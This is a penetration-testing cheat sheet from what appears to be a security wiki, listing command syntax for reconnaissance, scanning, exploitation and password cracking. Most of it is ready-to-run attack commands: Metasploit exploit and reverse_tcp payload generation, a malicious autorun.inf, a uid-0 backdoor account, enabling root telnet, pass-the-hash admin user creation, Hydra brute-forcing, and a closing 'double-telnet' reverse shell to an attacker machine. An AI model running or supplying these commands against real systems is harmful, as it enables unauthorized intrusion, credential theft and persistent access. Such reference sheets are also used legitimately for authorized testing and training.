https://wiki.skullsecurity.org/index.php?title=Linux_Commands
whois
$ whois [-h whois_server] name
nslookup
$ nslookup <target>
dig
Types of record: NS, A, HINFO, MX, TXT, CNAME, SOA, RP, PTR, SRV
$ dig [@server] <name> [type]
Zone transfer
$ dig [@server] <domain> -t AXFR
Iterative zone transfer
$ dig [@server] <domain> -t IXFR=<N>
BiLE.pl
$ ./BiLE <target> <result_file> $ ./BiLE-weigh.pl <site_of_interest> <BiLE_output.mine> $ ./tld-expand.pl $ ./vet-IPrange.pl $ ./qtrace.pl
snmpwalk
Dump the ARP table of an snmp server at HOST
$ snmpwalk -v 2c -c <community> <server> ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaPhysAddress > arptable.dump
Scanning
tcpdump
Parameters
-n -- use numbers
-i <interface>
-v -- be verbose
-r <file>/-w <file> -- read from/write to file
-x -- print hex
-A -- print ASCII
-X -- print hex and ASCII
-s <snaplen> -- length to capture (-s0 for all data)
Filter string
Protocol
ether, ip, ip6, arp, rarp, tcp, udp
Type
host <host>
net <network>
port <portnum>
portrange <start-end>
Direction
src
dst
Logic
and
or
Show TCP against target 10.10.10.10 in ASCII
tcpdump [-i tap0] -n -A tcp and dst 10.10.10.10
Show all UDP from 10.10.10.10
tcpdump [-i tap0] -n udp and src 10.10.10.10
Show all TCP port 80 packets going to or from host 10.10.10.10
tcpdump [-i tap0] -n tcp and port 80 and host 10.10.10.10
hping3
TCP Flags
--syn, --fin, --rst, --push, --ack, --urg
Target selection
--rand-dest
--interface <int>
Source selection
--spoof <hostname>
--rand-source
Port selection
--destport <port>
--destport +<port> -- increment by one for each packet received
--destport ++<port> -- increment by one for each packet sent
--scan <portrange>
--baseport <port>
--keep -- don't increment the source port
Speed options
--fast, --faster, --flood
--interval <N> -- interval in seconds
--interval u<N> -- interval in microseconds
Other options
--count <N>
--beep
--file <filename>
--data <N>
traceroute
Parameters
-f <N> -- Initial TTL
-g <hostlist> -- Loose source route
-I -- use ICMP Echo instead of UDP
-m <N> -- maximum number of hops (default 30)
-n -- numeric
-p <baseport> -- set the base UDP port
-w <N> -- wait N seconds (default 5)
Layer Four Traceroute (lft)
http://pwhois.org/lft/index.who
Options
-u -- use UDP
-p -- use ICMP echo
-d <port> -- destination port (default 80)
-s <port> -- source port
-L <N> -- length (including layer 3/4 header)
-A -- look up AS number
-P -- traceroute via tcp
nmap
Pinging
-PN -- don't ping
-PB -- default, ICMP Echo + TCP to port 80
-PE -- ICMP Echo request
-PS[portlist] -- TCP SYN
-PP -- ICMP Timestamp request
-PM -- ICMP Address Mask request
-PR -- default on subnet, use ARP to identify hosts
Scanning
-sT -- TCP Connect scan
-sS -- SYN scan
-sA -- ACK scan
-sF -- FIN scan
-sN -- Null scan
-sX -- Xmas Tree scan
-sM -- Maimon scan
--scanflags specify your own flags
-sU -- UDP scan
Fingerprinting
-O -- OS fingerprint
-sV -- Version scan
Scripts
-sC -- run all scripts
--script=<category,dir,src,etc&/gt;
--script-trace
Timing
--paranoid, --sneaky, --polite, --normal, --aggressive, --insane
--host_timeout, --max_rtt_timeout, --min-rtt-timeout, --initial_rtt_timeout, --max-parallelism, --scan_delay
Other options
-p<ports>
-F -- fast (checks only ports in nmap-services)
--packet-trace
--traceroute
--badsum
THC amap
Options
-q -- quiet (omit closed ports)
-v -- verbose
-b -- print banners
Example:
amap -bqv 10.10.10.10 1-50
Enumerating users
Commands
$ cat /etc/passwd
$ finger
$ who
$ w
Remotely:
$ finger @<target>
Exploitation
netcat
Options
-l -- listen mode
-L -- listen harder (Windows only)
-u -- UDP mode
-p -- local port (in listen mode, the port to listen on)
-e -- program to execute
-n -- don't resolve names
-z -- don't send any data
-w<N> -- timeout for connects
-v/-vv -- be verbose
Scanning
echo "" | nc -v -n -w1 <target> <port-range>
Setting up a relay
mknod backpipe p nc -l -p <allowed_port> < backpipe | nc <host> <port> > backpipe
Relaying port 22 to the local system
mknod backpipe p nc -l -p <allowed_port> < backpipe | nc localhost 22 > backpipe
Finding SetUID/SetGID programs
find / -type f \( -perm -4000 -o -perm -2000 \) -print
find /bin -type f \( -perm -4000 -o -perm -2000 \) -print find /sbin -type f \( -perm -4000 -o -perm -2000 \) -print find /usr/bin -type f \( -perm -4000 -o -perm -2000 \) -print find /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -print find /usr/local/bin -type f \( -perm -4000 -o -perm -2000 \) -print find /usr/local/sbin -type f \( -perm -4000 -o -perm -2000 \) -print
for i in `locate -r "bin$"`; do find $i -type f \( -perm -4000 -o -perm -2000 \) -print; done
Metasploit
Running an exploit
msf> show exploits msf> use exploit/windows/smf/ms05_039_php msf> show payloads msf> set PAYLOAD windows/shell/bind_tcp msf> show options msf> set RHOST 10.10.10.10 msf> exploit
Interacting with sessions
msf> sessions -l msf> sessions -i <N>
Creating a malicious VBScript
$ msfpayload windows/meterpreter/reverse_tcp LHOST=<lhost> V $ msfpayload windows/vncinject/reverse_tcp LHOST=<lhost> DisableCourtesyShell=y V
Creating a malicious Exe
$ msfpayload windows/meterpreter/reverse_tcp LHOST=<lhost> X $ msfpayload windows/vncinject/reverse_tcp LHOST=<lhost> DisableCourtesyShell=y X
Example autorun.inf file to run a malicious exe (goes with Metasploit)
[autorun] open=example.exe icon=example.exe
Metasploit listener
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=<lhost> E $ msfcli multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=<lhost> DisableCourtesyShell=y E
Meterpreter
Filesystem commands
> cd > lcd > pwd / getwd > ls > cat > download / upload > mkdir / rmdir > edit > getpid > getuid > ps > kill > execute > migrate > ipconfig > portfwd > route > idletime > uictl <enable/disable> <keyboard/mouse>
Modules
> use <modulename> > use priv > hashdump > timestomp
Creating a user
Adding an ordinary user
useradd <name>
Adding a root user (note: a non-uid-0 account may be required to log in)
useradd -o -u 0 <name>
telnet
Checking for inetd/xinetd
ps aux | grep inetd
Adding telnet to /etc/inetd
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
Adding telnet to xinetd
Steal the file from a service that's running (files are in /etc/xinetd.d)
Change server to "/usr/sbin/in.telnetd"
Restarting inetd/xinetd (the "kill" command with the PID can also be used)
killall -HUP inetd killall -HUP xinetd
sshd
File should be in /etc/rc*. Ways to enable:
chkconfig sshd on service sshd start /etc/init.d/sshd start
Passwords
Dictionaries
Creating a dictionary
cat wordlist.txt | sort | uniq > dictionary.txt
Scraping a Web site
mkdir /tmp/source cd /tmp/source wget -r -l <N> <target> cd .. grep -h -r "" source | tr '[:space:]' '\n' | grep -v '<' | sort | uniq > wordlist.lst
Or, just use my dictionaries
Account lockout
grep tally /etc/pam.d/* grep tally /etc/pam.conf
pw-inspector
Options
-i -- input file
-o -- output file
-m <N> -- minimum length
-M <N> -- maximum length
-c <N> -- the number of criteria
-l -- lower case
-u -- upper case
-n -- numbers
-p -- printable characters (lower/upper/num)
-s -- special characters (all others)
Example
cat /tmp/password.list | pw-inspector -m 6 -n -u -l -c 2
Hydra
Options
-l <username>/-L <userfile> -- Login name/file
-p <password>/-P <passfile> -- Password/file
-e <n|s|ns> -- extended checks (n = null, s = same as username)
-t <N> -- thread count
hydra <host> <protocol> <-l <username>|-L <userfile>> <-p <password>|-P <passfile>> [-e <n|s|ns>] [-t <threads>]
smb password
hydra <host> smb -l george -P ./list.lst -e ns
ssh password
hydra <host> ssh2 -l george -P ./list.lst -e ns
John
Show cracked passwords
john --show <passwordfile>
Speed test
john --test
Running against a password file
john <passwordfile>
Specifying type type
john --format=<format> <passwordfile> john --format=nt /tmp/pwdump
Combining passwd/shadow
unshadow <passwdfile> <shadowfile> > combined.txt john combined.txt
Modified Samba
Loading the hash
export SMBHASH="<LANMAN>:<NT>" echo $SMBHASH
Mounting a drive
./smbmount //<target>/<share> <mountpoint> -o username=<username> ./smbmount //10.10.10.10/c$ /mnt/target -o username=administrator
Adding a user
./net user ADD <username> <password> -I <target> -U <admin_username> ./net rpc group ADDMEM administrators <username> -I <target> -U <admin_username>
Web
nikto.pl
Scanning
nikto.pl -h <host>
Updating
nikto.pl -update
Single check
nikto.pl -Single
Fancy tricks
Double-telnet
On the attacker machine
nc -l -p 4444 nc -l -p 5555
On the victim machine
telnet <attacker> 4444 | cmd.exe | telnet <attacker> 5555